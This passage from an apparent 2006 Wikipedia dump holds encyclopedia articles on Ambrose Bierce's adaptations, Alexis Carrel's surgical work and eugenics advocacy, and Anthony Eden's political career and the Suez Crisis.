At least three films have been made of Bierce's story ''An Occurrence at Owl Creek Bridge''. A silent movie version was made in the [[1920s]]. A French version called ''La Rivière du Hibou'', directed by Robert Enrico, was released in [[1962]] (available as of 2005). This is a black and white film, faithfully recounting the original narrative using voice-over. Another version, directed by Brian James Egan, was released in 2005. The story was also used for an episode of the [[television series]] ''[[The Twilight Zone]]'': ''[[An Occurrence at Owl Creek Bridge (The Twilight Zone)|An Occurrence at Owl Creek Bridge]]''.  A copy of ''An Occurrence at Owl Creek Bridge'' appeared in the [[American Broadcasting Company|ABC]] television series ''[[Lost (TV series)|Lost]]'' (ep. &quot;[[Episodes_of_Lost_%28season_2%29#The_Long_Con|The Long Con]]&quot; - airdate [[February 8]], [[2006]]).

[[Mexico|Mexican]] [[novelist]] [[Carlos Fuentes]] wrote [[Old Gringo|''Gringo Viejo'']] (''The Old Gringo''), a fictionalized account of Bierce's disappearance. Fuentes's keenly observed novel was later adapted as a [[film|motion picture]], with [[Gregory Peck]] in the title role.

Bierce appears as a character in the [[2000]] movie ''From Dusk Till Dawn 3: The Hangman's Daughter'' (set in [[1913]], a [[prequel]] to the original ''[[From Dusk Till Dawn]]''). While traveling to join up with Villa, Bierce is first attacked by bandits, and then trapped in a bar filled with vampires bent on killing all the humans inside. This clearly fictional adventure also portrayed Bierce as an alcoholic. In that movie Ambrose Bierce was played by [[Michael Parks]].

Bierce appears as a character in [[Robert A. Heinlein]]'s novella ''[[Lost Legacy]]'', (published in the short story collection ''[[Assignment in Eternity]]'').  In the story, Bierce is one of a league of humans who have learned to use the unused portions of their brains and have advanced mental powers.

Bierce appears as the main character and narrator in the story ''The Oxoxoco Bottle'' by [[Gerald Kersh]]. The bulk of the story purports to be a manuscript written by Bierce on his last journey in Mexico, and relates a very strange adventure. The manner of his death, however, remains a mystery at the end.

Bierce is depicted as a detective in series of mystery novels by [[Oakley Hall]], including ''Ambrose Bierce and the Queen of Spades'' and ''Ambrose Bierce and the Death of Kings''.

In [[DC Comics]]'s miniseries ''[[Stanley and His Monster]]'', Bierce (or at least a character claiming to be Bierce) appears as a sardonic trenchcoat-clad adventurer into the supernatual, very similar to [[John Constantine]]; although Bierce derides Constantine as a &quot;clown,&quot; he admits that he and Constantine are but two of several trenchcoated occult adventurers at large in the world, perhaps an implication by the writer that the archetype of the sarcastic commentator on the occult, exemplified by Constantine, can be traced back to Bierce as narrator of his own horror stories.  When the comic book Bierce learns that the boy Stanley's friend, the nameless Monster, is a demon, he considers vanquishing him but soon realizes that the Monster is a benevolent demon and instead helps Stanley and his friend against other demons.

== Primary books ==

* Tales of Soldiers and Civilians (a.k.a., In the Midst of Life) (1892) 
* Can Such Things Be? (1893)
* Collected Works (1909)

== External links==
{{wikiquote}}
* [http://donswaim.com/ The Ambrose Bierce Site]
* [http://www.biercephile.com The Ambrose Bierce Appreciation Society]
* [http://www.ambrosebierce.org The Ambrose Bierce Project]
* [http://ojinaga.com/bierce/ &quot;Ambrose Bierce, 'the Old Gringo': Fact, Fiction and Fantasy&quot;]
* [http://www.rjgeib.com/thoughts/bierce/ambrose-bierce.html One of Bierce's last letters]
* [http://atheisme.free.fr/Biographies/Bierce_e.htm Biography and quotes of Ambrose Bierce]
* [http://bitterbierce.blogspot.com Waking Ambrose: Modern Adjustments of the Devil's Dictionary]
* [http://alangullette.com/lit/bierce/ Ambrose Bierce]
*{{gutenberg author|id=Ambrose_Bierce|name=Ambrose Bierce}}
* [http://librivox.org/the-parenticide-club-by-ambrose-bierce/ Free audiobook of ''The Parenticide Club''] from [http://librivox.org LibriVox]
* [http://librivox.org/present-at-a-hanging-by-ambrose-bierce/ Free audiobook of ''Present at a Hanging and Other Ghost Stories''] from [http://librivox.org LibriVox]
* [http://librivox.org/short-story-collection-002/ Free audiobook of ''Baby Tramp''] from [http://www.librivox.org Librivox]
* [http://www.authorsden.com/visit/viewarticle.asp?AuthorID=6714&amp;id=19053 The Malignancy of Nature in Bierce's Horror Stories ]
* [http://wiredforbooks.org/bierce/ A reading of &quot;An Occurrence at Owl Creek Bridge&quot; and a discussion of the life and writing of Ambrose Bierce - RealAudio]
*[http://www.cosmoetica.com/B313-DES253.htm Essay on Bierce's short stories]
*[http://alangullette.com/lit/bierce/ Alan Gulette's Bierce page]


[[Category:1842 births|Bierce, Ambrose]]
[[Category:American poets|Bierce, Ambrose]]
[[Category:American journalists|Bierce, Ambrose]]
[[Category:American columnists|Bierce, Ambrose]]
[[Category:American satirists|Bierce, Ambrose]]
[[Category:American horror writers|Bierce, Ambrose]]
[[Category:American short story writers|Bierce, Ambrose]]
[[Category:Disappeared people|Bierce, Ambrose]]
[[Category:Hearst Corporation people|Bierce, Ambroce]]
[[Category:People from Ohio|Bierce, Ambrose]]

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  <page>
    <title>Alexis Carrel</title>
    <id>1051</id>
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      <id>41982130</id>
      <timestamp>2006-03-03T00:58:01Z</timestamp>
      <contributor>
        <ip>67.151.66.33</ip>
      </contributor>
      <comment>/* Alleged influence on the rise of Islamism */</comment>
      <text xml:space="preserve">{{POV-check}}

[[image:Alexis_Carrel.jpg|thumb|right|Alexis Carrel]]
'''Alexis Carrel''' ([[June 28]] [[1873]] &amp;ndash; [[November 5]] [[1944]]) was a French surgeon and biologist. He was awarded the [[Nobel Prize in Physiology or Medicine]] in [[1912]]. Born and educated in [[Lyon, France]]. He practiced in France and the United States (University of Chicago and the Rockefeller Institute). He developed new techniques in vascular sutures and was a pioneer in [[transplantology]] and [[thoracic surgery]]. He was a member of [[learned societies]] in the [[United States|United States of America]], [[Spain]], [[Russia]], [[Sweden]], the [[Netherlands]], [[Belgium]], [[France]], [[Vatican City]], [[Germany]], [[Italy]] and [[Greece]] and received honorary doctorates from the Universities of [[Belfast]], [[Princeton University|Princeton]], [[California]], [[New York]], [[Brown University|Brown]] and [[Columbia University|Columbia]].

== Contributions to science ==

On January 17, [[1912]] he placed a part of chicken's embryo heart in fresh nutrient medium in a stoppered [[Pyrex]] flask of his design. Every forty-eight hours the tissue doubled in size and was transferred to a new flask. The tissue was still growing 20 years later, longer than life of the chicken itself.

Carrel was honored in 1912 with a [[Nobel prize]] in medicine in recognition of his work on vascular suture and the transplantation of blood vessels and organs. [http://nobelprize.org/medicine/laureates/1912/index.html]

During the [[First World War]], Carrel and the English chemist, [[Henry Drysdale Dakin]], developed the Carrel-Dakin method of treating wounds with sutures, which prior to the development of widespread [[antibiotics]], was responsible for saving many lives. For this, Carrel was awarded the [[Légion d'honneur]].
        
He co-authored a book with [[Charles A. Lindbergh]], ''The Culture of Organs'', and worked with Lindbergh in the mid-1930s to create the &quot;perfusion pump,&quot; which allowed living organs to exist outside of the body during surgery. The advance is said to have been a crucial step in the development of open-heart surgery and organ transplants, and to have laid the groundwork for the [[artificial heart]], which became a reality decades later. Some critics of Lindbergh claimed that Carrel overstated Lindbergh's role to gain media attention. (Wallace, ''American Axis'' p. 101). Both Lindbergh and Carrel appeared on the cover of [[Time (magazine)|Time magazine]] on [[June 13]], [[1938]].

In 1972, the Swedish Post Office honored Carrel with a stamp that was part of its Nobel stamp series. [http://nobelprize.org/nobel/stamps/1972.html] In 1979, the [[lunar crater]] [[Carrel (crater)|Carrel]] was named after him as a tribute to his scientific breakthroughs.

== Relation to [[eugenics]] and [[fascism]] ==

In 1935, Carrel published a best-selling book titled ''L'Homme, cet inconnu '' (''Man The Unknown'') which advocated, in part, that mankind could better itself by following the guidance of an elite group intellectuals, and by implementing a regime of enforced [[eugenics]]. Roger Callois, writing in ''The Edge of Surrealism'', quotes and paraphrases ''L'Homme, cet inconnu '' as follows: &quot; '(p)resent-day proletarians owe their status to inherited intellectual and physical defects'  (sancta simplicitas). And he suggests that this state of affairs should be accenetuated through appropriate measures, so as to correlate social and biological inequalities more precisely.  Society would then be directed by a hereditary aristocracy composed of descendants from the Crusaders, the heroes of the Revolution, the great criminals, the financial and industrial magnates&quot; (p. 360).  

Carrel advocated the use of gas chambers to rid humanity of inferior stock.  His endorsement of this idea began in the mid-1930's, prior to Nazi implementation of such practices. In the 1936 German introduction of his book, at the publishers request, he added the following praise of the Nazi regime which did not appear in the editions in other languages: &quot;(t)he German government has taken energetic measures against the propagation of the defective, the mentally diseased, and the criminal. The ideal solution would be the suppression of each of these individuals as soon as he has proven himself to be dangerous.&quot; (quoted in Reggiani, p. 339).  He also wrote: &quot;(t)he conditioning of petty criminals with the whip, or some more scientific procedure, followed by a short stay in hospital, would probably suffice to insure order. Those who have murdered, robbed while armed with automatic pistol or machine gun, kidnapped children, despoiled the poor of their savings, misled the public in important matters, should be humanely and economically disposed of in small euthanasic institutions supplied with proper gasses. A similar treatment could be advantageously applied to the insane, guilty of criminal acts.&quot; (quoted in Szasz)

In 1937, Carrel joined [[Jean Coutrot]]’s Centre d’Etudes des Problèmes Humains.  (Coutrot’s aim was to develop what he called an ‘‘economic humanism’’ through &quot;collective thinking.&quot;)  In 1941, through connections to the [[Petain]] cabinet (specifically, French industrial physicians André Gros and Jacques Ménétrier) he went on to advocate for the creation of Fondation Française pour l’Etude des Problèmes Humains (French Foundation for the Study of Human Problems) which was created by decree of the collaborationist [[Vichy]] regime in 1941, and where he served as 'regent' (see Andrés Horacio Reggiani, ''Alexis Carrel, the Unknown: Eugenics and Population Research under Vichy'', as well as Callois, p. 107).  &quot;The foundation was chartered as a public institution under the joint supervision of the ministries of finance and public health. It was given financial autonomy and a budget of forty million francs—roughly one franc per inhabitant—a true luxury considering the burdens imposed by the German Occupation on the nation’s resources. By way of comparison, the whole Centre National de la Recherche Scientifique (CNRS) was given a budget of fifty million francs.&quot; (Reggiani)  [http://fhs.dukejournals.org/cgi/reprint/25/2/331] According to Par Gwen Terrenoire, writing in ''Eugenics in France (1913-1941) : a review of research findings'' (Joint Programmatic Commission UNESCO-ONG Science and Ethics, 2003) [http://ong-comite-liaison.unesco.org/ongpho/acti/3/2/document/8/pdfen.pdf] &quot;The foundation was a puridisciplinary centre that employed around 300 researchers (mainly statisticians, psychologists, physicians) from the summer of 1942 to the end of the autumn of 1944.  After the liberation of Paris, Carrel was suspended by the Minister of Health ; he died in November 1944, but the Foundation itself was &quot;purged&quot;, only to reappear in a short time as the Institut national d’études démographiques (INED) that is still active.&quot;  Scholars including Lucien Bonnafé, Patrick Tort and Max Lafont have accused Carrel of responsibility for the execution of thousands of mentally ill or impaired patients under Vichy.  They argue that this policy was inspired by Carrel's advocacy.  Other scholars state that Carrel merely provided intellectual cover for policies that would have been undertaken with or without his advocacy.  All this eventually led many in France to accuse him of collaboration with the Nazis.  

This association with Vichy, and the harshness of his advocacy for eugenics, has led to his descent from fame to obscurity.  In recent years, [[Jean-Marie le Pen]], the French neo-fascist politician, has become an advocate for Carrel, referring to him as &quot;the first environmentalist, or, if you will, the first modern ecologist, precisely because he committed himself to defining the relationships of natural harmony.&quot; (le Pen, L'Espoir 133-134, cited in Golson, Fascism's Return).  His writings on eugenics are studied &quot;avidly in the training camps of the [[National Front]]&quot;.  (Lucien Bonnafé and Patrick Tort, ''L'Homme, cet inconnu? Alexis Carrel, Jean-Marie le Pen et les chambres a gaz'' [http://www.amazon.fr/exec/obidos/ASIN/2907993143/403-4807364-1466832])

In the 1990's, the attention the [[National Front]]'s support brought to Carrel's fascist associations and advocacy for forced euthenasia created a series of controversies with respect to streets and institutions named in honor of Carrel.  Over 20 French cities and towns, including Paris, renamed streets previously named for Carrel.  The controvery came to a head in Lyon, his birhtplace, where a medical school was named in his honor.  [[Lyon libération]] questioned the wisdom of this. In response to this, &quot;(i)n May 1995, the Palais des Congrès of Lyon hosted a conference on Carrel and scientific racism at which several of the participants accused the inquiry commission of whitewashing the controversial scientist. In early 1996, after five years of embarrassing publicity, the governing board of the University of Lyon decided to rename its school of medicine after [[René Laënnec]], inventor of the stethoscope.&quot;  [http://fhs.dukejournals.org/cgi/reprint/25/2/331]

In the United States as well as France, the 1990's were not kind to Carrel's reputation.  In an interview for PBS' The American Experience, historian Arthur Schlesinger, Jr. blamed Carrel for Charles Lindbergh's increasing racism in the 1930's.  Schlesinger states in response to a question concerning the source of Lindbergh's beliefs on this subject: &quot;I suppose he got a lot of it from Alexis Carrel, the French biologist who had a kind of racial mysticism of a sort.&quot; [http://www.pbs.org/wgbh/amex/lindbergh/filmmore/reference/interview/schlesinger03.html]

== Alleged influence on the rise of Islamism ==

Carrel's eugenic ideas are alleged by some scholars to have had &quot;superficial commonalities&quot; with the thought of such early advocates of [[Islamism]] as [[Ali Shariati]] and Muslim Brotherhood propagandist [[Sayyed Qutb]]. Qutb, in fact, cites Carrel more than any other author.  (Qutb was one of the key philosophers in the [[Muslim Brotherhood]] movement after the death of its founder in 1949 and Qutb's brother was [[bin Laden]]'s intellectual mentor at [[King Abdul Aziz University]] in [[Jeddah]], along with [[Abdullah Azzam]]). (For more on the Carrel / Islamist connection, see Tariq Ali, ''Clash of Fundamentalisms'', p. 274; Youssef Choueiri, ''Islamic Fundamentalism'' (London 1990) and Rudolph Walther, ''Die seltsamen Lehren des Doktor Carrel'', DIE ZEIT 31.07.2003 Nr.32)  

Tariq Ali, Youssef Choueiri, Abu-Rabi, and Aziz Al-Azmeh, as well as other scholars of Islamism, see Carrel as a primary (if unwitting) influence on the origin of Islamism.  Quoting from Rudolf Walther's article in ''Die Zeit'': &quot;(t)he superficial commonalities between Carrel and Qutb are plain: we meet the medical man's elite in a &quot;scientific monastery&quot; as Qutb's &quot;avant garde,&quot; and the Carrel's &quot;biological classes&quot; are Qutb's &quot;belief classes.&quot; Whether &quot;civilization&quot; (Carrel) or &quot;barbarism&quot; (Qutb) -- neither are &quot;worthy of us,&quot; because they contradict &quot;our true nature&quot; (Carrel) or Qutb's &quot;good, healthy nature.&quot; Both are in agreement in their goal to reconcile knowledge and belief.

Qutb follows Carrel in making &quot;human nature&quot; the condition and measure of all thought and action. Because &quot;human nature&quot; is simultaneously posited as God-given, both immunize &quot;human nature&quot; against criticism, because God answers queries as little as &quot;nature&quot; does objections. The core of Qutb's supposed Middle Eastern Islamism is formed by a naturalistic logical error that is deeply rooted in European philosophy... Carrel writes: &quot;The goal of life is to follow the laws of life. We decipher these laws from our bodies and our souls, not from philosophical systems and concepts.&quot; Thus ethical norms (&quot;laws of life&quot;) are derived directly from biological facts and psychological diagnoses. Translated to Qutb's language, human freedom and thus a free, varied society are not possible, only obedience to the law of God. [...]

What Qutb calls &quot;the Islamic method,&quot; the integration of education, ethics, economics and politics to a unified system of &quot;divine uniqueness,&quot; matches Carrel's &quot;unification of all capabilities and their coordination to a single belief,&quot; the &quot;super-science&quot; in every detail ...&quot;

This influence is ironic, given that Carrel himself was a devoted Roman Catholic and Christian mystic. He mentions Islam in ''Man, the Unknown'' just once, and not in a complimentary manner. He notes of European Christian civilization, that, &quot;(a)t the cost of immense efforts, we succeeded in thrusting back the sleep of Islamism.&quot; Throughout his book, he refers to European civilization as &quot;Christendom.&quot;  Moreover, he believed in the racial superiority of northern Europeans.  These ideas would have been anathema to Qutb.

==External links==
{{wikiquote}}
* [http://crishunt.8bit.co.uk/alexis_carrel.html Web page about Alexis Carrel]
* [http://nobelprize.org/medicine/laureates/1912/press.html Nobel Prize presentation speech to Dr. Carrel]
* [http://nobelprize.org/medicine/laureates/1912/carrel-bio.html Nobel Prize biography of Dr. Carrel]
*[http://patrickpoole.blogspot.com/2005/10/alexis-carrel-and-sayyid-qutb.html Alexis Carrel and Sayyid Qutb]
*[http://pages.prodigy.net/thomasn528/blog/2003_08_17_newsarcv.html#106125889084239517 Sayyid Qutb's French connection (Monday, August 18, 2003)]

==Sources==
* Carrel, Alexis. ''Man, The Unknown.'' New York and London: Harper and Brothers. 1935.
* Andrés Horacio Reggiani. ''Alexis Carrel, the Unknown: Eugenics and Population Research under Vichy'' (FRENCH HISTORICAL STUDIES 25:2 SPRING 2002)[http://fhs.dukejournals.org/cgi/reprint/25/2/331] 
* Wallace, Max.  ''The American Axis: Henry Ford, Charles Lindbergh, and the Rise of the Third Reich''  St. Martin's Press, New York, 2003.
* Szasz, TS. ''The Theology of Medicine'' New York: Syracuse University Press, 1977.
* Ali, Tariq.  ''Clash of Fundamentalisms'' Verso, London, 2002
* Choueiri, Youssef. ''Islamic Fundamentalism'' Continuum International Publishing Group,  London, 2002. 
* Walther, Rudolph. ''Die seltsamen Lehren des Doktor Carrel'', DIE ZEIT 31.07.2003 Nr.32 [http://www.zeit.de/2003/32/A-Carrel]
* Bonnafé, Lucien and Tort, Patrick.  ''L'Homme, cet inconnu? Alexis Carrel, Jean-Marie le Pen et les chambres a gaz'' Editions Syllepse, 1996. [http://www.amazon.fr/exec/obidos/ASIN/2907993143/403-4807364-1466832]
* Abu-Rabi, Ibrahim M. ''Intellectual Origins of Islamic Resurgence'', SUNY Press, Albany, 1996
* Azmeh, Aziz (Aziz Al-Azmeh). ''Islams and Modernities'' Verso, London, 1993.
* Berman, Paul. ''Terror and Liberalism'' W. W. Norton, 2003   
* Mairowitz, David Zane. &quot;Fascism a la mode: in France, the far right presses for national purity.&quot; Harper's Magazine; 10/1/1997  
* Pioneers of Islamic Revival (edited by Ali Rahnema), Zed Books, London 1994
* Schneider, William.  Quality and Quantity: The Quest for Biological Regeneration in Twentieth-Century France, Cambridge Studies in the History of Medicine (chap. 7 French eugenics in the thirties; and 10 Vichy and after)
* Terrenoire, Par Gwen, CNRS.  ''Eugenics in France (1913-1941) : a review of research findings'' Joint Programmatic Commission UNESCO-ONG Science and Ethics, March 24, 2003 [http://ong-comite-liaison.unesco.org/ongpho/acti/3/2/document/8/pdfen.pdf]


[[Category:1873 births|Carrel, Alexis]]
[[Category:1944 deaths|Carrel, Alexis]]
[[Category:Nobel Prize in Physiology or Medicine winners|Carrel, Alexis]]
[[Category:Members of the Pontifical Academy of Sciences|Carrel]]
[[Category:American physicians|Carrel]]

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  </page>
  <page>
    <title>Anthony Eden</title>
    <id>1052</id>
    <revision>
      <id>42049852</id>
      <timestamp>2006-03-03T13:21:24Z</timestamp>
      <contributor>
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      <comment>/* Prime Minister */</comment>
      <text xml:space="preserve">{{Infobox BPM
 | name=[[The Right Honourable|The Rt. Hon.]] Sir Anthony Eden, Earl of Avon
 | image=Eden.jpg
 | kingdom=the United Kingdom
 | term=[[7 April]] [[1955]] &amp;ndash; [[9 January]] [[1957]]
 | before=[[Winston Churchill|Sir Winston Churchill]]
 | after=[[Harold Macmillan]]
 | date_birth=[[12 June]] [[1897]]
 | place_birth=[[Bishop Auckland]], [[Durham]]
 | date_death=[[14 January]] [[1977]]
 | place_death=[[Alvediston]], [[Salisbury]], [[Wiltshire]]
 | party=[[Conservative Party (UK)|Conservative]]
}} 

'''Robert Anthony Eden, 1st Earl of Avon''', [[Order of the Garter|KG]], [[Military Cross|MC]], [[Privy Council of the United Kingdom|PC]] ([[June 12]], [[1897]]&amp;ndash; [[January 14]], [[1977]]), [[United Kingdom|British]] politician, was [[Foreign Secretary]] during [[World War II]] and [[Prime Minister of the United Kingdom]] during the 1950s. He is remembered mainly for his role in the disastrous [[Suez Crisis]] of [[1956]]. In a 2004 poll [http://www.mori.com/polls/2004/leeds.shtml] of 139 political science academics organised by [[MORI]], Eden was voted the least successful British Prime Minister of the 20th Century. This echoed the outcome of an earlier survey by BBC Radio's ''The Westminster Hour'', ranking the British Prime Ministers of the 20th Century. [http://news.bbc.co.uk/1/hi/uk_politics/575219.stm[2]] Winston Churchill came top, Eden bottom.

==Early career==
Eden was born in [[Durham]], into a very conservative landowner family. His mother, Sybil Grey, was a member of the famous Grey family of [[Northumberland]] (see below). He studied at [[Eton College|Eton]] and [[Christ Church, Oxford]], where he graduated in oriental languages. (He was fluent in French, German and Persian. He also spoke Russian and Arabic). Following a military career during the [[World War I|First World War]], during which he received a [[Military Cross]], Eden entered politics in [[1923]] when he was elected [[Member of Parliament]] for [[Warwick and Leamington]], as a [[Conservative Party (UK)|Conservative]]. In that year also he married Beatrice Beckett. They had two sons, but the marriage was not a success and broke up under the strain of Eden's political career.

Eden became Parliamentary Private Secretary at the [[Foreign Office]] in [[1926]]. In [[1931]] he was promoted to Under-Secretary for Foreign Affairs. In [[1934]] he was appointed [[Lord Privy Seal]] and Minister for the [[League of Nations]] in [[Stanley Baldwin]]'s Government. Like many of his generation who had served in the First World War, Eden was strongly anti-war and strove to work through the League of Nations to preserve European peace. He was however among the first to recognise that peace could not be maintained by [[appeasement]] of [[Nazi Germany]] and [[fascist]] [[Italy]]. He privately opposed the policy of the Foreign Secretary, [[Samuel Hoare, 1st Viscount Templewood|Sir Samuel Hoare]], of trying to appease [[Italy]] during its [[Second Italo-Abyssinian War|invasion of Abyssinia]] ([[Ethiopia]]) in [[1935]]. When Hoare resigned after the failure of the [[Hoare-Laval Pact]], Eden succeeded him as Foreign Secretary.

At this stage in his career Eden was considered as something of a leader of fashion. He regularly wore a [[Homburg_(hat)|Homburg]] hat (similar to a [[bowler hat]] but with an upturned brim), which became forever known in Britain by his name.

He had an elder brother called Timothy and a younger brother, Nicholas, who had been killed when the Indefatigable had been sunk at the Battle of Jutland in 1916.

==Foreign Secretary==
Eden became Foreign Secretary at a time when Britain was having to adjust its foreign policy to face the rise of the fascist powers. He supported the policy of non-interference in the [[Spanish Civil War]], and supported [[Neville Chamberlain]] in his efforts to preserve peace through reasonable concessions to Germany. He did not protest when Britain and France failed to oppose [[Adolf Hitler|Hitler's]] reoccupation of the [[Rhineland]] in [[1936]]. But in February [[1938]], he resigned because he could not accept Chamberlain's opening of negotiations with Italy. This made him an ally of [[Winston Churchill]], then a rebel backbench Conservative MP and leading critic of appeasement. There was much speculation that Eden would become a rallying point for all the disparate opponents of Chamberlain, but instead he maintained a low profile, avoiding confrontation though he opposed the [[Munich Agreement]]. As a result Eden's position declined heavily amongst politicians, though he remained popular in the country at large.

In September [[1939]], on the outbreak of war, Eden returned to Chamberlain's government as [[Secretary of State for Dominion Affairs]], but was not in the [[War Cabinet]]. As a result he was not considered a candidate for the Premiership when Chamberlain resigned after Germany invaded [[France]] in May [[1940]] and Churchill became Prime Minister. He appointed Eden [[Secretary of State for War]]. Later in [[1940]] he returned to the Foreign Office, and in this role became a member of the executive committee of the [[Political Warfare Executive]] in [[1941]]. Although he was one of Churchill's closest confidents, his role in wartime was restricted because Churchill conducted the most important negotiations, with [[Franklin D. Roosevelt]] and [[Joseph Stalin]], himself, but Eden served loyally as Churchill's lieutenant. Nevertheless he was in charge of handling much of the relations between Britain and [[Charles de Gaulle|de Gaulle]] during the last years of the war. In [[1942]] he was given the additional job of [[Leader of the House of Commons]].

After the [[Labour Party (UK)|Labour Party]] won the [[1945]] elections, Eden went into opposition as Deputy Leader of the Conservative Party. Many felt that Churchill should have retired and allowed Eden to become party leader, but Churchill refused to consider this and Eden was too loyal to press him. He was in any case depressed during this period by the break-up of his first marriage and the death of his eldest son, Simon Eden, in the last days of the war.

In [[1951]], the Conservatives returned to office and Eden became Foreign Secretary for a third time. Churchill was largely a figurehead in this government and Eden had effective control of British foreign policy for the first time, as the [[Cold War]] grew more intense. He dealt effectively with the various crises of the period, although Britain was no longer the world power it had been before the war. In [[1950]] he and Beatrice Eden were finally divorced and in [[1952]] he married Churchill's niece, Lady Clarissa Spencer-Churchill (b. 1920) -- a nominal Roman Catholic who was fiercely criticized by Catholic writer [[Evelyn Waugh]] for marrying a divorced man -- a marriage much more successful than his first had been. In [[1953]] Eden underwent a series of operations at Boston's Lahey Clinic to correct a minor gall bladder complaint. Unfortunately Eden's health never fully recovered; this was to undermine his subsequent career.  In [[1954]] he was made a [[Knight of the Garter]].

==Prime Minister==
[[Image:Anthony-Eden-arms.PNG|thumb|right|150px|Arms of Anthony Eden]]
In April [[1955]] Churchill finally retired, and Sir Anthony succeeded him as Prime Minister. Eden was a very popular figure, as a result of his long wartime service and also his famous good looks and charm. On taking office he immediately called a [[United Kingdom general election, 1955|general election]], at which the Conservatives were returned with an increased majority. But Sir Anthony had never held a domestic portfolio and had little experience in economic matters. He left these areas to his lieutenants such as [[Rab Butler]], and concentrated largely on foreign policy, forming a close alliance with U.S. President [[Dwight Eisenhower]]. His famous words &quot;Peace comes first, always&quot; added to his already substantial popularity.

This alliance proved illusory, however, when in [[1956]] Sir Anthony, in conjunction with France, tried to prevent [[Gamal Abdel Nasser]], President of [[Egypt]], nationalising the [[Suez Canal]], which had been owned since the 19th century by British and French shareholders in the Suez Canal Company. Sir Anthony, drawing on his experience in the 1930s, saw Nasser as another [[Benito Mussolini|Mussolini]].  Sir Anthony considered the two men aggressive nationalist socialists determined to invade other countries.  Others believed that Nasser was acting from legitimate patriotic concerns.

In October [[1956]], after months of negotiation and attempts at mediation had failed to dissuade Nasser, Britain and France, in conjunction with [[Israel]], invaded Egypt and occupied the Suez Canal Zone. But Eisenhower immediately and strongly opposed the invasion.  The U.S. President was an advocate of [[decolonization|decolonisation]], because it would liberate colonies, strengthen U.S. interests, and presumably make other Arab and African leaders more sympathetic to the United States.  Eden had ignored Britain's financial dependence on the U.S. in the wake of World War II, and was forced to bow to American pressure to withdraw. The [[Suez Crisis]] is widely taken as marking the end of Britain (along with France) as a World power.

The Suez fiasco ruined Sir Anthony's reputation for [[statesmanship]] and led to a breakdown in his [[health]]. His Chancellor, [[Harold Macmillan]], despite having been one of the architects of Suez, manoeuvred Eden into resignation and succeeded him as Prime Minister in January [[1957]]. Eden retained his personal popularity and was made '''Earl of Avon''' in [[1961]].

==Retirement==
In retirement he lived quietly in Wiltshire with his second wife, and published a highly acclaimed personal memoir, ''Another World'', as well as several volumes of political memoirs. On a trip to the United States in [[1977]] his health rapidly deteriorated. At his request, [[James Callaghan]] sent the [[Royal Air Force|RAF]] to fly him home to die. The Earl of Avon died from [[liver cancer]] in [[Salisbury, England|Salisbury]] in [[1977]] at the age of 79.

From [[1945]]-[[1973]], Eden was [[Chancellor (education)|Chancellor]] of the [[University of Birmingham]], [[England]]. He was recently voted the least effective British Prime Minister of the twentieth century by a BBC poll, which was topped by rival [[Clement Attlee]].

Eden's surviving son, [[Nicholas Eden, 2nd Earl of Avon|Nicholas Eden]] ([[1930]]-[[1985]]), known as Viscount Eden until [[1977]], was also a politician and was a minister in the [[Margaret Thatcher|Thatcher]] government until his premature death from [[AIDS]] at the age of 54.

The Papers of Eden are housed at the [[University of Birmingham]] Special Collections.

==The Eden Government==
*Anthony Eden: Prime Minister
*[[David Patrick Maxwell Fyfe, 1st Earl of Kilmuir|Lord Kilmuir]]: [[Lord Chancellor]]
*[[Robert Gascoyne-Cecil, 5th Marquess of Salisbury|Lord Salisbury]]: [[Lord President of the Council]]
*[[Harry Crookshank, 1st Viscount Crookshank|Harry Crookshank]]: [[Lord Privy Seal]] and [[Leader of the House of Commons]]
*[[Rab Butler]]: [[Chancellor of the Exchequer]]
*[[Harold Macmillan]]: [[Secretary of State for Foreign Affairs]]
*[[Gwilym Lloyd George, 1st Viscount Tenby|Gwilym Lloyd George]]: [[Secretary of State for the Home Department]]
*[[Alan Lennox-Boyd]]: [[Secretary of State for the Colonies]]
*[[Alec Douglas-Home|Lord Home]]: [[Secretary of State for Commonwealth Relations]]
*[[Peter Thorneycroft]]: [[President of the Board of Trade]]
*[[Frederick Marquis, 1st Earl of Woolton|Lord Woolton]]: [[Chancellor of the Duchy of Lancaster]]
*Sir [[David Eccles]]: Minister of Education
*[[James Stuart, 1st Viscount Stuart of Findhorn|James Stuart]]: [[Secretary of State for Scotland]]
*[[Derick Heathcoat Amory,1st Viscount Amory|Derick Heathcoat Amory]]: Minister of Agriculture
*Sir [[Walter Turner Monckton]]: Minister of Labour and National Service
*[[Selwyn Lloyd]]: Minister of Defence
*[[Duncan Sandys]]: Minister of Housing and Local Government
*[[Osbert Peake, 1st Viscount Ingleby|Osbert Peake]]: Minister of Pensions and National Insurance
'''Changes'''&lt;br/&gt;
*December [[1955]] - [[Rab Butler]] succeeds Harry Crookshank as Lord Privy Seal and Leader of the House of Commons.  Harold Macmillan succeeds Butler as Chancellor of the Exchequer.  Selwyn Lloyd succeeds Macmillan as Foreign Secretary.  Sir Walter Monckton succeeds Lloyd as Minister of Defence.  [[Iain Macleod]] succeeds Monckton as Minister of Labour and National Service.  [[George Douglas-Hamilton, 10th Earl of Selkirk|Lord Selkirk]] succeeds Lord Woolton as Chancellor of the Duchy of Lancaster.  The Minister of Public Works,  [[Patrick Buchan-Hepburn]], enters the Cabinet.  The Minister of Pensions and National Insurance leaves the Cabinet upon Peake's retirement.
*October [[1956]]: Sir Walter Monckton becomes Paymaster-General.  [[Anthony Henry Head]] succeeds Monckton as Minister of Defence.

==The Grey-Eden connection==
                    [[Charles Grey, 1st Earl Grey]] = Elizabeth Grey
                                                |
                   ------------------------------------------
                   |                                        |
          [[Charles Grey, 2nd Earl Grey]]             William Grey
            Prime Minister                                  = Maria Shireff
                                                            |
                                   Georgina Plowden = Sir William Grey
                                                    |
                              Sir William Eden = Sybil Grey
                                               |
                                       '''Anthony Eden'''
                                      Prime Minister
{{start box}}
{{succession box | title=[[Lord Privy Seal]] | before=[[Stanley Baldwin]] | after=[[Charles Vane-Tempest-Stewart, 7th Marquess of Londonderry|The Marquess of Londonderry]] | years=1934&amp;ndash;1935}}
{{succession box | title=[[Secretary of State for Foreign Affairs|Foreign Secretary]] | before=[[Samuel Hoare, 1st Viscount Templewood|Sir Samuel Hoare]] | after=[[Edward Wood, 1st Earl of Halifax|The Viscount Halifax]] | years=1935&amp;ndash;1938}}
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{{end box}}

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{{succession box | title=[[Earl of Avon]] | before=New Creation | after=[[Nicholas Eden, 2nd Earl of Avon|Nicholas Eden]] | years=}}
{{end box}}

==External links==
http://www.discoverychannel.co.uk/alteredstatesmen/feature3.shtml
{{UKDeputyPrimeMinisters}}
{{UKPrimeMinisters}}
{{ConservativePartyLeader}}
[[Category:1897 births|Avon]]
